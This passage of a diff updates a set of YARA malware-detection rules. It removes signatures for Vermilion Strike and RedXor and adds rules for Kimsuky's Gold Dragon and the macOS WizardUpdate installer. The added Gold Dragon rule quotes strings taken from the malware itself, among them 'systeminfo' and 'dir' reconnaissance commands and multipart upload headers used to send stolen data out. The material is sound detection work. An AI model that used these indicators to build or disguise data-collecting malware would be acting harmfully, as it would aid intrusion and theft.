-		$s2 = { 8b 4c 24 1c 6a 00 6a 00 6a 00 6a 01 51 ff 15 5c a2 02 10 8b 55 0c 8b f0 56 6a 02 53 52 8b cf 89 74 24 34 e8 f0 fb ff ff 8b 45 0c 83 c4 10 6a 00 6a 00 6a 03 6a 00 6a 00 50 57 56 ff 15 50 a2 02 10 8b 4c 24 30 6a 00 68 00 82 80 80 6a 00 6a 00 6a 00 53 51 50 89 44 24 3c ff 15 64 a2 02 10 8b f8 89 7c 24 14 8d 49 00 8b b4 24 90 00 00 00 8b 5c 24 7c 8b c3 83 fe 10 73 04 8d 44 24 7c 8d 50 01 8d a4 24 00 00 00 00 8a 08 40 84 c9 75 f9 2b c2 8b cb 83 fe 10 73 04 8d 4c 24 7c 8b 55 20 52 8b 54 24 2c 52 50 51 57 ff 15 4c a2 02 10 85 }
-		$s3 = { 68 00 00 00 10 6a 00 6a 00 6a 00 6a 00 c7 44 24 60 01 00 00 00 ff 15 40 a2 02 10 8b d8 8d 54 24 2c 52 8d 44 24 3c 50 55 53 ff 15 38 a2 02 10 8b e8 85 db 74 07 53 ff 15 44 a2 02 10 85 ed 74 2f 8b }
-		$s4 = { 6a ff 68 [2] 02 10 64 a1 00 00 00 00 50 81 ec 14 01 00 00 a1 c0 72 03 10 33 c4 89 84 24 10 01 00 00 53 a1 c0 72 03 10 33 c4 50 8d 84 24 1c 01 00 00 64 a3 00 00 00 00 33 db 8d 44 24 0c 89 9c 24 24 01 00 00 50 8d 4c 24 18 89 5c 24 0c 51 89 74 24 18 c7 44 24 14 04 01 00 00 ff 15 04 a0 02 10 8d 44 24 14 c7 46 18 0f 00 00 00 89 5e 14 88 5e 04 8d 50 01 8a 08 40 3a cb 75 f9 2b c2 50 8d 54 24 18 52 8b ce e8 [2] ff ff 89 9c 24 24 01 00 00 c7 44 24 08 01 00 00 00 e8 d1 fe ff ff 85 c0 8b c6 74 0e 6a 02 68 ?? c6 02 10 e8 [2] ff ff 8b c6 8b 8c 24 1c 01 00 00 64 89 0d 00 00 00 00 59 5b 8b 8c 24 }
-		$s5 = { a1 c0 72 03 10 33 c4 89 44 24 2c 68 00 00 00 f0 6a 18 6a 00 6a 00 68 4c 97 03 10 ff 15 30 a0 02 10 85 c0 75 11 33 c0 8b 4c 24 2c 33 cc e8 [2] 00 00 83 c4 30 c3 8b 15 58 97 03 10 8b 0d 54 97 03 10 68 50 97 03 10 6a 00 33 c0 6a 00 66 89 44 24 1e a1 5c 97 03 10 89 54 24 2c 6a 1c 8d 54 24 20 89 44 24 34 a1 4c 97 03 10 89 4c 24 2c 8b 0d 60 97 03 10 52 50 c6 44 24 28 08 c6 44 24 29 02 c7 44 24 2c 0e 66 00 00 c7 44 24 30 10 00 00 00 89 4c 24 40 ff 15 2c a0 02 10 85 c0 74 87 8b 0d 50 97 03 10 56 8b 35 38 a0 02 10 6a 00 68 ?? 82 03 10 6a 01 51 c7 44 24 18 01 00 00 00 c7 44 24 20 01 00 00 00 ff d6 85 c0 74 2b a1 50 97 03 10 6a 00 8d 54 24 0c 52 6a 03 50 ff d6 85 c0 74 16 8b 15 50 97 03 10 6a 00 8d 4c 24 14 51 6a 04 52 ff d6 85 c0 75 12 33 c0 5e 8b 4c 24 2c 33 cc e8 [2] 00 00 83 c4 30 c3 8b 15 50 97 03 10 6a }
+		$s1 = { 8d 0d [2] 03 00 e8 [2] ff ff 41 b8 00 00 00 80 33 d2 33 c9 ff 15 [2] 03 00 48 89 45 08 41 b8 01 00 00 00 48 8d 15 [3] 00 48 8b 4d 08 ff 15 [2] 03 00 48 89 45 28 ff 15 [2] 03 00 3d 24 }
+		$s2 = { 33 d2 48 8b 4d 08 ff 15 [2] 03 00 c7 45 24 00 00 00 00 48 8d 55 24 48 8b 4d 08 ff 15 [2] 03 00 48 8b 4d 08 ff 15 [2] 03 00 ff 15 [2] 03 00 44 8b c0 33 d2 b9 00 10 10 00 ff 15 [2] 03 00 48 89 45 48 48 c7 45 68 00 00 00 00 4c 8d 45 68 ba ff 01 0f 00 48 8b 4d 48 ff 15 [2] 03 00 48 8b 4d 48 ff 15 [2] 03 00 48 c7 85 88 00 00 00 00 00 00 00 48 8d 85 88 00 00 00 48 89 44 24 28 c7 44 24 20 01 00 00 00 41 b9 02 00 00 00 45 33 c0 ba ff 01 0f 00 48 8b 4d 68 ff 15 [2] 03 00 48 8b 4d 68 ff 15 [2] 03 00 41 b9 04 00 00 00 4c 8d 45 24 ba 0c 00 00 00 48 8b 8d 88 00 00 00 ff 15 [2] 03 00 48 8d 85 a8 00 00 00 48 8b f8 33 c0 b9 18 00 00 00 f3 aa 48 8d 85 e0 00 00 00 48 8b f8 33 c0 b9 68 00 00 00 f3 aa c7 85 e0 00 00 00 68 00 00 00 b8 05 00 00 00 66 89 85 20 01 00 00 48 8d 05 [2] 02 00 48 89 85 f0 00 00 00 41 b8 04 01 00 00 48 8d 95 70 01 00 00 48 8d 0d [2] 02 00 ff 15 [2] 03 00 48 8d 85 a8 00 00 00 48 89 44 24 50 48 8d 85 e0 00 00 00 48 89 44 24 48 48 c7 44 24 40 00 00 00 00 48 c7 44 24 38 00 00 00 00 c7 44 24 30 10 00 00 00 c7 44 24 28 00 00 00 00 48 c7 44 24 20 00 00 00 00 45 33 c9 45 33 c0 48 8d 95 70 01 00 00 48 8b 8d 88 00 00 00 ff 15 [2] 03 00 48 8b 8d 88 00 00 00 ff 15 [2] 03 00 48 8b 8d a8 00 00 00 ff 15 [2] 03 00 48 8b 8d b0 00 00 00 ff 15 [2] 03 00 }
+		$s3 = { 41 b8 00 00 00 80 33 d2 33 c9 ff 15 [2] 03 00 48 89 45 08 41 b8 01 00 00 00 48 8d 15 [3] 00 48 8b 4d 08 ff 15 [2] 03 00 48 89 45 28 48 8b 4d 08 ff 15 [2] 03 00 48 c7 45 48 00 00 00 00 c7 45 64 00 00 00 00 4c 8d 4d 64 45 33 c0 48 8b 55 48 48 8b 4d 28 ff 15 [2] 03 00 8b 45 64 48 89 85 88 04 00 00 ff 15 [2] 03 00 48 8b 8d 88 04 00 00 4c 8b c1 ba 0c 00 00 00 48 8b c8 ff 15 [2] 03 00 48 89 45 48 4c 8d 4d 64 44 8b 45 64 48 8b 55 48 48 8b 4d 28 ff 15 [2] 03 00 48 8b 45 48 4c 8b 40 10 ba 04 01 00 00 48 8d 8d 90 00 00 00 ff 15 [2] 03 00 ff 15 [2] 03 00 4c 8b 45 48 33 d2 48 8b c8 ff 15 [2] 03 00 48 8b 4d 28 ff 15 [2] 03 00 c7 85 b4 02 00 00 01 00 00 00 c7 85 d4 02 00 00 00 00 00 }
+		$s4 = { 68 00 00 00 80 6a 00 6a 00 ff 15 24 f0 43 00 3b f4 e8 bf 5b ff ff 89 45 f8 8b f4 6a 01 68 34 84 43 00 8b 45 f8 50 ff 15 20 f0 43 00 3b f4 e8 a2 5b ff ff 89 45 ec 8b f4 ff 15 2c f1 43 00 3b f4 e8 90 5b ff ff 3d 24 }
+		$s5 = { f3 ab a1 0c d0 43 00 33 c5 89 45 fc b9 d9 10 44 00 e8 55 9c ff ff 8b 45 08 89 45 f4 b9 0c 00 00 00 be a4 7e 43 00 8d bd ec f7 ff ff f3 a5 68 d0 07 00 00 6a 00 8d 85 1c f8 ff ff 50 e8 bd 95 ff }
+		$s6 = { 8b f4 6a 00 8b 45 f4 50 ff 15 88 f0 43 00 3b f4 e8 8d 67 ff ff c7 45 e8 00 00 00 00 8b f4 8d 45 e8 50 8b 4d f4 51 ff 15 c8 f0 43 00 3b f4 e8 6f 67 ff ff 8b f4 8b 45 f4 50 ff 15 30 f1 43 00 3b f4 e8 5c 67 ff ff 8b f4 ff 15 a4 f0 43 00 3b f4 e8 4d 67 ff ff 8b f4 50 6a 00 68 00 10 10 00 ff 15 b8 f0 43 00 3b f4 e8 36 67 ff ff 89 45 dc c7 45 d0 00 00 00 00 8b f4 8d 45 d0 50 68 ff 01 0f 00 8b 4d dc 51 ff 15 3c f0 43 00 3b f4 e8 10 67 ff ff 8b f4 8b 45 dc 50 ff 15 30 f1 43 00 3b f4 e8 fd 66 ff ff c7 45 c4 00 00 00 00 8b f4 8d 45 c4 50 6a 01 6a 02 6a 00 68 ff 01 0f 00 8b 4d d0 51 ff 15 38 f0 43 00 3b f4 e8 d4 66 ff ff 8b f4 8b 45 d0 50 ff 15 30 f1 43 00 3b f4 e8 c1 66 ff ff 8b f4 6a 04 8d 45 e8 50 6a 0c 8b 4d c4 51 ff 15 2c f0 43 00 3b f4 e8 a6 66 ff ff 33 c0 89 45 ac 89 45 b0 89 45 b4 89 45 b8 6a 44 6a 00 8d 85 60 ff ff ff 50 e8 36 63 ff ff 83 c4 0c c7 85 60 ff ff ff 44 00 00 00 b8 05 00 00 00 66 89 45 90 c7 85 68 ff ff ff a0 86 43 00 8b f4 68 04 01 00 00 8d 85 50 fd ff ff 50 68 c8 86 43 00 ff 15 58 f1 43 00 3b f4 e8 48 66 ff ff 8b f4 8d 45 ac 50 8d 8d }
+		$s7 = { 40 53 48 81 ec 30 08 00 00 48 8b 05 b8 78 00 00 48 33 c4 48 89 84 24 20 08 00 00 0f 10 05 7e 4e 00 00 48 8b d9 33 d2 0f 10 0d 82 4e 00 00 48 8d 4c 24 50 41 b8 d0 07 00 00 0f 29 44 24 20 0f 10 05 7b 4e 00 00 0f 29 4c 24 30 0f 29 44 24 40 e8 da 42 00 00 4c 8b 03 48 8d 4c 24 20 ba 00 04 00 00 e8 6a f8 ff ff 33 d2 8d 4a 02 ff 15 77 4c 00 00 48 8b 4b 08 48 8d 54 24 20 ff 15 70 4c 00 00 33 c0 48 8b 8c 24 20 08 00 00 48 33 cc e8 de 34 00 00 48 81 c4 30 08 00 00 }
+		$s8 = { 33 d2 48 8b cb ff 15 c6 2c 00 00 83 65 00 00 48 8d 55 00 48 8b cb ff 15 85 2c 00 00 48 8b cb ff 15 1c 2d 00 00 ff 15 86 2c 00 00 33 d2 b9 00 10 10 00 44 8b c0 ff 15 46 2c 00 00 48 83 64 24 68 00 4c 8d 44 24 68 48 8b c8 ba ff 01 0f 00 48 8b d8 ff 15 82 2b 00 00 48 8b cb ff 15 e1 2c 00 00 48 8b 4c 24 68 48 8d 44 24 60 48 83 64 24 60 00 41 b9 02 00 00 00 48 89 44 24 28 45 33 c0 ba ff 01 0f 00 c7 44 24 20 01 00 00 00 ff 15 80 2b 00 00 48 8b 4c 24 68 ff 15 a5 2c 00 00 48 8b 4c 24 60 4c 8d 45 00 41 b9 04 00 00 00 41 8d 51 08 ff 15 1c 2b 00 00 33 c0 48 8d 4d 90 0f 57 c0 48 89 45 80 33 d2 0f 11 44 24 70 8d 58 68 44 8b c3 e8 5b 25 00 00 8d 43 9d 89 5d 90 66 89 45 d0 48 8d 55 10 48 8d 05 e0 33 00 00 41 b8 04 01 00 00 48 8d 0d f3 33 00 00 48 89 45 a0 ff 15 91 2c 00 00 48 8b 4c 24 60 48 8d 44 24 70 48 89 44 24 50 48 8d 55 10 48 8d 45 90 45 33 c9 48 89 44 24 48 45 33 c0 48 83 64 24 40 00 48 83 64 24 38 00 c7 44 24 30 10 00 00 00 83 64 24 28 00 48 83 64 24 20 00 ff 15 9a 2a 00 00 48 8b 4c 24 60 ff 15 ef 2b 00 00 48 8b 4c 24 70 ff 15 e4 2b 00 00 48 8b 4c 24 78 ff 15 d9 }
+		$s9 = { 33 d2 33 c9 41 b8 00 00 00 80 ff 15 ba 33 00 00 41 b8 01 00 00 00 48 8d 15 7d 3b 00 00 48 8b c8 48 8b d8 ff 15 d9 33 00 00 48 8b cb 48 8b f8 ff 15 8d 33 00 00 4c 8d 4c 24 20 89 74 24 20 45 33 c0 33 d2 48 8b cf ff 15 ae 33 00 00 8b 5c 24 20 ff 15 64 34 00 00 44 8b c3 ba 0c 00 00 00 48 8b c8 ff 15 33 34 00 00 44 8b 44 24 20 4c 8d 4c 24 20 48 8b d0 48 8b cf 48 8b d8 ff 15 7a 33 00 00 4c 8b 43 10 48 8d 4c 24 30 ba 04 01 00 00 ff 15 46 37 00 00 ff 15 20 34 00 00 4c 8b c3 33 d2 48 8b c8 ff 15 9a 33 00 00 48 8b cf ff 15 11 33 00 00 48 8d 4c 24 30 8b fe ff 15 a4 33 00 00 83 e8 02 }
 
 	condition:
-		uint16(0)==0x5A4D and filesize >30KB and 4 of ($s*)
+		uint16(0)==0x5A4D and filesize >25KB and 3 of ($s*)
 }
-rule ARKBIRD_SOLG_MAL_ELF_Vermilion_Strike_Sep_2021_1 : FILE
+rule ARKBIRD_SOLG_APT_Kimsuky_Aug_2020_1 : FILE
 {
 	meta:
-		description = "Detect the ELF version of Vermilion Strike implant"
+		description = "Detect Gold Dragon used by Kimsuky APT group"
 		author = "Arkbird_SOLG"
-		id = "bfc498b6-4d3d-5ae9-a360-d31f8cf6c5fc"
-		date = "2021-09-14"
-		modified = "2021-09-16"
-		reference = "https://www.intezer.com/blog/malware-analysis/vermilionstrike-reimplementation-cobaltstrike/"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-09-15/Vermilion_Strike/MAL_ELF_Vermilion_Strike_Sep_2021_1.yara#L1-L19"
+		id = "dd79aa3b-0bbc-5fdd-808e-c2dee6d89804"
+		date = "2020-08-31"
+		modified = "2020-09-14"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-09-14/Kimsuky/APT_Kimsuky_Aug_2020_1.yar#L1-L23"
 		license_url = "N/A"
-		logic_hash = "fe4bb6da7b29f1ae7c25a657d27f5e60ffa0e7d9f1f09a5a2331e4a80eb79481"
-		score = 50
+		logic_hash = "4644ea81535c867a36a882bb270cea784ae135e7acc7078823be0579b1746932"
+		score = 75
 		quality = 75
 		tags = "FILE"
-		hash1 = "294b8db1f2702b60fb2e42fdc50c2cee6a5046112da9a5703a548a4fa50477bc"
-		level = "experimental"
-		tlp = "White"
-		adversary = "Vermilion Strike"
+		hash1 = "4ff2a67b094bcc56df1aec016191465be4e7de348360fd307d1929dc9cbab39f"
+		hash2 = "97935fb0b5545a44e136ee07df38e9ad4f151c81f5753de4b59a92265ac14448"
 
 	strings:
-		$s1 = { be bd f8 40 00 41 55 49 89 fd bf a3 f8 40 00 41 54 55 53 48 81 ec 20 04 00 00 e8 4f cb ff ff 48 85 c0 48 89 c5 0f 84 af 01 00 00 48 8d 5c 24 20 41 bc 0a 00 00 00 41 be b0 32 40 00 66 90 48 89 ea be c8 00 00 00 48 89 df e8 30 cd ff ff 48 85 c0 0f 84 4f 01 00 00 80 7c 24 20 23 74 e0 bf b4 f8 40 00 48 89 de 4c 89 e1 f3 a6 75 d1 be d4 1d 41 }
-		$s2 = { 8b 43 14 8b 73 10 8b 4b 0c 8d 56 01 44 8d 80 6c 07 00 00 be 70 21 41 00 31 c0 e8 ed 34 ff ff 48 85 ed 74 28 8b 4b 04 8b 53 08 48 89 ef 44 8b 03 48 83 c4 08 be 79 21 41 00 5b 5d }
-		$s3 = { 55 53 48 83 ec 70 48 8d 44 24 30 48 89 44 24 10 48 8d 44 24 40 48 89 44 24 08 8b 84 24 90 00 00 00 89 04 24 e8 22 fb ff ff e8 fd 58 ff ff e8 38 5a ff ff e8 f3 59 ff ff 0f 1f 00 e8 5b 5e ff ff 48 89 c7 e8 23 5b ff ff 48 89 c7 48 89 c5 e8 18 5f ff ff 48 8d 4c 24 50 31 d2 be 6e 00 00 00 48 89 c7 48 89 c3 e8 41 59 ff ff 48 8b 7c 24 50 31 c9 ba 04 00 00 00 be 21 00 00 00 e8 1b 60 ff ff 48 8d 54 24 2f 48 8d 7c 24 60 4c 89 e6 e8 d9 5c ff ff 48 8d 7c 24 60 ba 88 f8 40 00 be a7 20 41 00 e8 a5 1f 00 00 48 8b 4c 24 60 31 d2 be 64 00 00 00 48 89 df e8 f1 58 ff ff 31 c9 31 d2 be 65 00 00 00 48 89 df e8 e0 58 ff ff 48 85 c0 7e 73 48 8b 7c 24 50 e8 41 58 ff ff 8b 54 24 30 48 8b 74 24 40 48 89 df e8 50 59 ff ff 48 8b 7c 24 40 e8 66 12 00 00 48 8b 94 24 a0 00 00 00 48 8b b4 24 98 00 00 00 48 89 df e8 0e fd ff ff 48 89 df e8 b6 5f ff ff 48 89 ef e8 ce 58 ff ff b8 01 00 00 00 48 8b 54 24 60 48 8d 7a e8 48 81 ff c0 54 61 00 75 23 48 83 c4 70 5b 5d 41 5c c3 66 0f 1f 44 00 00 48 89 df e8 80 5f ff ff 48 89 ef e8 98 58 ff ff 31 c0 eb cb be b0 32 40 00 48 8d 4f 10 48 85 f6 74 3d 83 ca ff }
-		$s4 = { 8b 15 6e e4 20 00 31 ff be e0 57 61 00 e8 0a b8 ff ff 48 89 c7 31 c0 48 85 ff 74 17 48 89 3d e9 e4 20 00 e8 a4 bf ff ff 89 05 e6 e4 20 00 b8 01 00 }
-		$s5 = { b8 02 00 00 00 48 89 fb 48 83 ec 10 66 89 04 25 00 00 00 00 e8 a6 4e ff ff 83 f8 ff 89 04 24 74 16 89 04 25 04 00 00 00 b8 01 00 00 00 48 83 c4 10 5b c3 0f 1f 40 00 48 89 df e8 f0 4e ff ff 48 89 c1 31 c0 48 85 }
+		$s1 = "/c systeminfo >> %s" fullword ascii
+		$s2 = "/c dir %s\\ >> %s" fullword ascii
+		$s3 = ".?AVGen3@@" fullword ascii
+		$s4 = { 48 6f 73 74 3a 20 25 73 0d 0a 52 65 66 65 72 65 72 3a 20 68 74 74 70 3a 2f 2f 25 73 25 73 0d 0a 25 73 0d 0a 25 73 }
+		$s5 = "%s?filename=%s" fullword ascii
+		$s6 = "Content-Disposition: form-data; name=\"userfile\"; filename=\"" fullword ascii
+		$s7 = "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywhpFxMBe19cSjFnG" fullword ascii
+		$s8 = "Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"" fullword ascii
+		$s9 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET CLR 1.1.4322)" fullword ascii
+		$s10 = "\\Microsoft\\HNC" fullword ascii
+		$s11 = "Mozilla/5.0" fullword ascii
 
 	condition:
-		uint32(0)==0x464c457f and filesize >30KB and 4 of them
+		uint16(0)==0x5a4d and filesize >150KB and 8 of them
 }
-rule ARKBIRD_SOLG_MAL_Stager_Vermilion_Strike_Sep_2021_1 : FILE
+rule ARKBIRD_SOLG_MAL_OSX_Wizardupdate_Oct_2021_1 : FILE
 {
 	meta:
-		description = "Detect the windows version of the stager of Vermilion Strike implant"
+		description = "Detect WizardUpdate installer on OSX system"
 		author = "Arkbird_SOLG"
-		id = "7a8ae258-1fb4-5a24-b69e-3a632e00bfae"
-		date = "2021-09-14"
-		modified = "2021-09-16"
-		reference = "https://www.intezer.com/blog/malware-analysis/vermilionstrike-reimplementation-cobaltstrike/"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-09-15/Vermilion_Strike/MAL_Stager_Vermilion_Strike_Sep_2021_1.yara#L1-L18"
+		id = "50974725-6b45-5f2f-aa76-ae73dc752873"
+		date = "2021-10-22"
+		modified = "2021-10-23"
+		reference = "https://twitter.com/MsftSecIntel/status/1451279679059488773"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-10-23/WizardUpdate/MAL_OSX_WizardUpdate_Oct_2021_1.yara#L1-L21"
 		license_url = "N/A"
-		logic_hash = "cc4d59c92faba1f3435c8454071a1e1c60b6339393796c76e64b890bb85d13cc"
-		score = 50
+		logic_hash = "b25145a9aa33c9518e5e0847b50faa8b67d65078ddfbb66de49196a17ddd3137"
+		score = 75
 		quality = 75
 		tags = "FILE"
-		hash1 = "3ad119d4f2f1d8ce3851181120a292f41189e4417ad20a6c86b6f45f6a9fbcfc"
-		level = "experimental"
+		hash1 = "939cebc99a50989ffbdbb2a6727b914fc9b2382589b4075a9fd3857e99a8c92a3"
+		hash2 = "c5017798275f054ae96c69f5dd0b378924c6504a70c399279bbf7f33d990d45b"
+		hash3 = "7067e6a69a8f5fdbabfb00d03320cfc2f3584a83304cbeeca7e8edc3d57bbbd4"
 		tlp = "White"
-		adversary = "Vermilion Strike"
+		adversary = "-"
 
 	strings:
-		$s1 = { a1 b0 62 41 00 33 c4 50 8d 84 24 d0 00 00 00 64 a3 00 00 00 00 8b da 8b 84 24 ec 00 00 00 8b b4 24 e0 00 00 00 8b bc 24 e4 00 00 00 8b ac 24 e8 00 00 00 8d 54 24 2c 52 89 44 24 28 89 4c 24 2c e8 95 f0 ff ff 33 c0 89 84 24 d8 00 00 00 c7 84 24 88 00 00 00 0f 00 00 00 89 84 24 84 00 00 00 88 44 24 74 6a 17 68 fc 3b 41 00 8d 44 24 78 c6 84 24 e0 00 00 00 01 e8 9e 0b 00 00 6a 02 68 14 3c 41 00 8d 44 24 78 e8 8e 0b 00 00 6a 00 6a 00 6a 00 6a 01 55 ff 15 44 21 41 00 8b e8 55 6a 02 57 53 8b ce 89 6c 24 2c e8 8d fc ff ff 83 c4 10 6a 00 6a 00 6a 03 6a 00 6a 00 53 56 55 ff 15 58 21 41 00 6a 00 68 00 82 80 80 6a 00 6a 00 6a 00 57 68 f8 3b 41 00 50 89 44 24 40 ff 15 4c 21 41 00 }
-		$s2 = { 64 a1 00 00 00 00 50 83 ec 60 a1 b0 62 41 00 33 c4 89 44 24 58 53 55 56 57 a1 b0 62 41 00 33 c4 50 8d 44 24 74 64 a3 00 00 00 00 8b 84 24 88 00 00 00 8b ac 24 84 00 00 00 8b f9 89 44 24 18 33 c0 8d 4c 24 1c 51 8b f2 33 db 89 44 24 30 89 44 24 34 89 44 24 38 89 44 24 3c 89 44 24 40 89 44 24 44 89 44 24 48 89 44 24 4c 89 44 24 50 89 44 24 20 89 44 24 24 89 44 24 28 89 44 24 2c ff 15 2c 21 41 00 85 c0 74 21 39 5c 24 1c 74 05 bb 01 00 00 00 8b 44 24 20 }
-		$s3 = { 50 56 8d 4c 24 58 e8 fc f2 ff ff 6a 01 8d 54 24 18 52 8d 44 24 58 50 89 9c 24 88 00 00 00 33 c0 c6 44 24 20 3d e8 0d 01 00 00 83 f8 ff 74 4f 80 bc 24 8c 00 00 00 00 74 16 56 bb 18 3c 41 00 8d 7c 24 54 e8 8f fd ff ff 83 c4 04 84 c0 75 2f 56 bb 20 3c 41 00 8d 7c 24 54 e8 79 fd ff ff 83 c4 04 84 c0 75 19 56 bb 28 3c 41 00 e8 67 fd ff ff 83 c4 04 84 c0 74 07 c7 45 00 04 00 00 00 83 7c 24 68 10 72 19 }
-		$s4 = { 8d 44 24 18 50 8d 4c 24 18 51 6a 1f 53 c7 44 24 28 04 00 00 00 ff 15 3c 21 41 00 81 4c 24 14 00 01 00 00 6a 04 8d 54 24 18 52 6a 1f 53 }
+		$s1 = { 48 89 e5 48 83 ec 70 48 89 7d f0 48 c7 45 e0 00 00 00 00 b8 01 00 00 00 48 89 c7 48 89 c6 e8 b8 3b 00 00 31 c9 89 cf 48 89 45 d8 48 c7 45 d0 00 00 00 00 e8 a9 3b 00 00 48 8b 7d f0 48 8d 35 d4 3f 00 00 89 45 cc e8 ba 3b 00 00 48 89 45 e8 48 83 7d e8 00 0f 85 0d 00 00 00 48 c7 45 f8 00 00 00 00 e9 cd 00 00 00 e9 00 00 00 00 48 8b 55 e8 48 8d 7d e0 48 8d 75 d0 e8 70 3b 00 00 48 83 f8 ff 0f 84 9c 00 00 00 48 8b 7d d8 48 8b 45 d8 48 89 7d c0 48 89 c7 e8 76 3b 00 00 48 8b 7d e0 48 89 45 b8 e8 69 3b 00 00 48 8b 4d b8 48 01 c1 48 81 c1 01 00 00 00 48 8b 7d c0 48 89 ce e8 49 3b 00 00 48 89 45 d8 48 8b 45 d8 48 8b 7d d8 48 89 45 b0 e8 3a 3b 00 00 48 8b 4d b0 48 01 c1 48 8b 75 e0 48 8b 7d e0 48 89 4d a8 48 89 75 a0 e8 1e 3b 00 00 48 05 01 00 00 00 48 8b 7d a8 48 8b 75 a0 48 89 c2 e8 0e 3b 00 00 48 8b 7d e0 48 89 45 98 e8 d1 3a 00 00 48 c7 45 }
+		$s2 = { 48 89 e5 48 81 ec 80 01 00 00 48 89 f8 48 8b 0d 7b 31 00 00 48 8b 09 48 89 4d f8 48 89 bd e8 fe ff ff c6 85 e7 fe ff ff 00 48 89 bd b8 fe ff ff 48 89 b5 b0 fe ff ff 48 89 85 a8 fe ff ff e8 9c 01 00 00 c7 85 d4 fe ff ff 00 01 00 00 48 8d 35 0a 2e 00 00 48 8b bd b0 fe ff ff e8 df 28 00 00 e9 00 00 00 00 48 8b bd b0 fe ff ff e8 8e 01 00 00 48 8d 35 ec 2d 00 00 48 89 c7 e8 5b 29 00 00 48 89 85 a0 fe ff ff e9 00 00 00 00 48 8b 85 a0 fe ff ff 48 89 85 d8 fe ff ff 48 83 bd d8 fe ff ff 00 0f 84 c4 00 00 00 e9 00 00 00 00 48 8b bd d8 fe ff ff e8 04 29 00 00 89 85 9c fe ff ff e9 00 00 00 00 8b 85 9c fe ff ff 83 f8 00 0f 95 c1 80 f1 ff f6 c1 01 0f 85 05 00 00 00 e9 75 00 00 00 48 8b 95 d8 fe ff ff 48 8d bd f0 fe ff ff be 00 01 00 00 e8 ca 28 00 00 48 89 85 90 fe ff ff e9 00 00 00 00 48 8b 85 90 fe ff ff 48 83 f8 00 0f 84 3b 00 00 00 48 8d b5 f0 fe ff ff 48 8b bd b8 fe ff ff }
+		$s3 = "11101000010110101110100011010010110110101100101011011110111010101110100001000000011100100110000001100000010000000101101010011000010000000100010011010000111010001110100011100000111001100111010001011110010111101101101"
+		$s4 = { 48 8b bd d8 fe ff ff e8 73 28 00 00 e9 00 00 00 00 e9 00 00 00 00 c6 85 e7 fe ff ff 01 f6 85 e7 fe ff ff 01 0f 85 0c 00 00 00 48 8b bd b8 fe ff ff e8 cb 27 00 00 48 8b 05 fc 2f 00 00 48 8b 00 48 8b 4d f8 48 39 c8 0f 85 32 00 00 00 48 8b 85 a8 fe ff ff 48 81 c4 80 01 00 }
 
 	condition:
-		uint16(0)==0x5A4D and filesize >30KB and 3 of them
+		uint32(0)==0xFEEDFACF and filesize >50KB and (($s1 and $s3) or ($s2 and $s4))
 }
-rule ARKBIRD_SOLG_MAL_Redxor_Feb_2021_1 : FILE
+rule ARKBIRD_SOLG_MAL_OSX_Wizardupdate_Oct_2021_2 : FILE
 {
 	meta:
-		description = "Detect RedXor backdoor (Feb 2021)"
+		description = "Detect a structure like the bash of WizardUpdate installer on OSX system"
 		author = "Arkbird_SOLG"
-		id = "10ae10b7-b351-5dda-9408-aa01a40e3d6a"
-		date = "2021-03-14"
-		modified = "2021-05-24"
-		reference = "https://www.intezer.com/blog/malware-analysis/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-23/RedXor/MAL_RedXor_Feb_2021_1.yara#L1-L20"
+		id = "3e48c2fa-10f4-5152-90e6-f5f8cc507103"
+		date = "2021-10-22"
+		modified = "2021-10-23"
+		reference = "https://twitter.com/MsftSecIntel/status/1451279679059488773"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-10-23/WizardUpdate/MAL_OSX_WizardUpdate_Oct_2021_2.yara#L1-L20"
 		license_url = "N/A"
-		logic_hash = "b4e3ea24bb19abe7065ed5fc94f65e68ea84b11da7b45936ee991ef6aac6d33d"
+		logic_hash = "99d3323e3c155be040fef3beea0a55aec9bd3178df822d5fd6530864186446ed"
 		score = 75
-		quality = 75
+		quality = 67
 		tags = "FILE"
-		hash1 = "0423258b94e8a9af58ad63ea493818618de2d8c60cf75ec7980edcaa34dcc919"
-		hash2 = "0a76c55fa88d4c134012a5136c09fb938b4be88a382f88bf2804043253b0559"
+		hash1 = "eafacc44666901a5ea3c81a128e5dd88d0968a400d74ef1da5c2c05dc6dd7a39"
 		tlp = "White"
-		adversary = "Winnti"
+		adversary = "-"
 
 	strings:
-		$seq1 = { 0f b7 05 [2] 20 00 66 85 c0 0f 85 cd 00 00 00 48 8d 85 ?? ff ff ff be 10 00 00 00 48 89 c7 e8 [2] ff ff 66 c7 85 ?? ff ff ff 02 00 0f b7 05 [2] 20 00 0f b7 c0 89 c7 e8 [2] ff ff 66 89 85 ?? ff ff ff 48 8b 45 d8 48 89 c7 e8 [2] ff ff 89 85 ?? ff ff ff ba 00 00 00 00 be 01 00 00 00 bf 02 00 00 00 e8 [2] ff ff 89 85 ?? ff ff ff 83 bd ?? ff ff ff ff 75 21 8b 85 ?? ff ff ff 89 c7 e8 [2] ff ff bf 0a 00 00 00 e8 [2] ff ff b8 00 00 00 }
-		$seq2 = { 48 8d 8d ?? ff ff ff 8b 85 ?? ff ff ff ba 10 00 00 00 48 89 ce 89 c7 e8 [2] ff ff 83 f8 ff 75 47 8b 85 ?? ff ff ff 89 c7 e8 [2] ff ff bf 0a 00 00 00 e8 [2] ff ff b8 00 00 00 }
